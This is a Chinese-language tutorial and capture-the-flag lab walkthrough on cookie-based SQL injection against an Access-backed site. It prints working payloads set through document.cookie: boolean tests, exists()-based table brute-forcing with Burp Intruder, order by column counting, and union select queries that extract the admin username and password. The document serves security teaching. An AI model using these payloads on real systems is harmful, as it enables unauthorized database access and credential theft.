文章目录
- 一、cookie注入简介
- (一)什么是cookie
- (二)为什么会存在cookie注入?
- 二、如何修改cookie
- (一)通过Javascript来设置Cookie
- (二)通过浏览器的Application来修改
- (三)通过burp抓包去修改cookie
- (四)通过浏览器插件进行修改
- 三、cookie注入靶场思路
- (一)靶场需要注意的地方
- (二)如何删除GET传参
- (三)access数据库注入的特点
- 四、靶场实战
- (一)测试cookie传参
- (二)测试cookie注入
- (三)爆破表名
- (四)判断字段数
- (五)判断显错位
- (六)查询admin
- (七)查询用户名和密码
- (八)登陆后台
- (九)提交flag
- 五、小结
一、cookie注入简介
(一)什么是cookie
Cookie就是代表你身份的一段字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。
(二)为什么会存在cookie注入?
在动态脚本语言中基本上都存在超全局变量,可以一次获取多种传参。很多时候开发者在开发的时候为了方便接收多种参数,在接受参数的时候都是用能接受多种传参的方法。
例如:
php中的$_REQUEST[]
可以获取POST|GET|COOKIE
传参
注:php 5.4以上版本就不会接受Cookie传参了。
例如,源代码如下:
<?php
@$a=$_REQUEST['a'];
echo $a;
?>
则在浏览器中访问该文件,并在URL中加一个?a=123
则会输出:123
我们通过burp对这个过程进行抓包,然后通过action发送到repeater模块,把GET改成POST,点GO,可以在右侧看到回显123。假如在末尾输入cookie: 321,若是php5.4以前的版本,则会回显321,而5.4以后的版本,REQUEST不会再接收cookie传参了。
那如何知道目标网站用的php版本呢?没有必要去知道,我们可以尝试进行cookie传参,若能传参成功则表示可以传参,否则就不行。
另外,并不是只有access数据库存在cookie注入,每个数据库都可能存在数据库注入,关键看接收传参的方式。
二、如何修改cookie
(一)通过Javascript来设置Cookie
我们在浏览器中随便打开一个网页,然后按F12调出浏览器的开发者工具,选择Console(译为控制台),打开浏览器的控制台,输入设置Js的语句就可以了。如图所示:
我们可以通过浏览器document.cookie来设置Cookie,输入:
document.cookie="id="+escape("171")
这里的171是id的值,最好加个escape()函数进行编码的转换。+号表示拼接后面的字符串。这行语句中,Cookie名字为id。这里的 escape是一个编码函数,这个函数会进行一次URL编码。
如果这么写也可以传参:
document.cookie="id=171"
但是由于数据的兼容性,不知道传过去的时候变成什么乱七八糟的东西,所以最好是加上这个escape()函数。
注意:上述语句写完后,要按一下回车键,然后再刷新页面就可以起作用了。
(二)通过浏览器的Application来修改
按F12调出浏览器的开发者工具,选择Application,在左侧的列表中,找到Cookies,就可以看到cookie传参和相应的值:
(三)通过burp抓包去修改cookie
抓取数据包直接修改数据包的值,添加一个Cookie字段在请求头里面。
注意点:Cookie传参的参数值需要用URL编码,记得传参的值要先进行URL编码。
在线URL编码地址:http://tool.chinaz.com/Tools/urlencode.aspx
(四)通过浏览器插件进行修改
在谷歌浏览器的扩展中添加EditThisCookie_v1.5.0插件,但是不建议使用这个方法,这个插件不够稳定,容易失效,所以直接用burp或者开发者工具比较方便。
三、cookie注入靶场思路
(一)靶场需要注意的地方
当同时存在cookie和GET传参时,默认优先接收GET传参,因此需要先删除GET传参。
(二)如何删除GET传参
直接在URL中把?及后面的内容全部删除即可。然后在开发者工具中的console中输入:
document.cookie="id="+escape("171")
看看和直接在URL中把id的值改为171的页面是否一致,若一致则说明存在cookie传参。这里还不能证明它存在cookie注入,只是能说明存在cookie传参而已。
继续测试:
document.cookie="id="+escape("171 and 1=1")
对比?id=171的页面,发现一致。
继续测试:
document.cookie="id="+escape("171 and 1=2")
页面回显异常,说明and 1=2 被当做代码执行了。
注意浏览器中要点URL栏并回车,而不是按刷新,直接刷新不一定会改变cookie的值(看浏览器版本),所以保险一点不要去刷新。
(三)access数据库注入的特点
Access只有一个库,它没有information库,也没有tables表。
最简单的方法是联合查询,因为是Access数据库,没有系统自带表,而且只有一个数据库,所以不需要纠结库名。那么怎么获取Access数据库的表名和字段名呢?可以通过工具去爆破。账号密码一般在盛行Access数据库的年代,都在admin表的username和password字段中。
所以,如果不知道库名怎么办?就一个库,没必要知道。如果不知道表名怎么办?只能靠爆破了,借助exist()函数,用and exists (select * from 表名)
命令,如果页面正常,就是存在这个表。exists
这个函数就是检查子查询能否查询到数据,如果能会返回一个True否则返回False。
用burp去抓包爆破的时候,可以打开sqlmap文件夹里面的data文件夹,在txt文件夹里有一个文件名为common-tables.txt的文件,这是一个自带字典,收集了常用的表名。
四、靶场实战
(一)测试cookie传参
首先进入靶场页面,入口如图所示:
看到id=171,先测试一下看看能否进行GET注入。在URL地址栏中输入and 1=1,发现提示了过滤这种关键词。于是转而去尝试cookie注入。
按F12进入开发者工具,并找到console(控制台),输入
document.cookie="id="+escape("171")
回车。
删除URL地址栏中的?id=171并回车,页面回显正常,且与id=171的页面相同。
这表明存在cookie传参。
(二)测试cookie注入
document.cookie="id="+escape("171 and 1=2")
页面回显异常
document.cookie="id="+escape("171 and 1=1")
页面回显正常。
表明输入的语句被当做代码执行,表明存在cookie注入。
(三)爆破表名
Access只有一个库,它没有information库,也没有tables表。所以不知道表名时,只能通过盲注函数来判断了。开启burp工具,开启浏览器代理准备抓包。
接下来通过exists()函数来爆破表名。
输入:
document.cookie="id="+escape("171 and exists(select *from a)")
在burp中使用intruder模块进行跑包,用sqlmap中自带的字典(data文件夹中,txt文件里的common-tables.txt文件)。
看到跑出了很多表,比如admin、user、news等。账号密码一般在盛行Access数据库的年代,都放在admin表的username和password字段中,所以我们重点查找admin表中的字段。
(四)判断字段数
判断当前页面的字段数,这将有助于我们判断admin表的字段数。
首先输入:
document.cookie="id="+escape("171 order by 1")
回显正常。
输入:
document.cookie="id="+escape("171 order by 10")
回显正常。
输入:
document.cookie="id="+escape("171 order by 11")
回显异常:
表明当前页面的表字段数为10。
(五)判断显错位
使用联合查询判断当前页面的显错位
输入:
document.cookie="id="+escape("171 union select 111,222,333,444,555,666,777,888,999,101010 from admin")
得到显错位为:
2,3,7,8,9
查看网页源代码,搜索其他几个没显示在页面上的数字,看看有没有隐藏的显错位:
经过测试没发现有隐藏显错位。
(六)查询admin
查询admin里面有多少个字段,输入:
document.cookie="id="+escape("171 union select admin.* ,3,4,5,6,7,8,9,10 from admin ")
后面有8个字段,所以假如admin里面刚好是两个字段,则组合后刚好10个字段,应当回显正常。admin.*代表的是admin中所有的字段。
回车后发现数据库报错了。经过多次尝试,判断出admin表中的字段数是超过10个的。
(七)查询用户名和密码
由于我们需要的是用户名和密码,尝试用username和password在显错位中分别去尝试,输入如下:
document.cookie="id="+escape("171 union select 1,username,3,4,5,6,password,8,9,10 from admin ")
可见用户名为admin,密码是加密的。
密码解密后为welcome。
(八)登陆后台
访问网站后台登陆页面(在admin目录中):
(九)提交flag
得到flag为:zkz{welcome-control}
提交flag:
五、小结
本文对cookie注入进行了简单介绍,讲解了cookie注入产生的原理、修改cookie的几种方法、Access数据库注入的特点等,并以Access数据库为例分享了靶场实操的过程,希望对大家学习cookie注入能起到一定的帮助。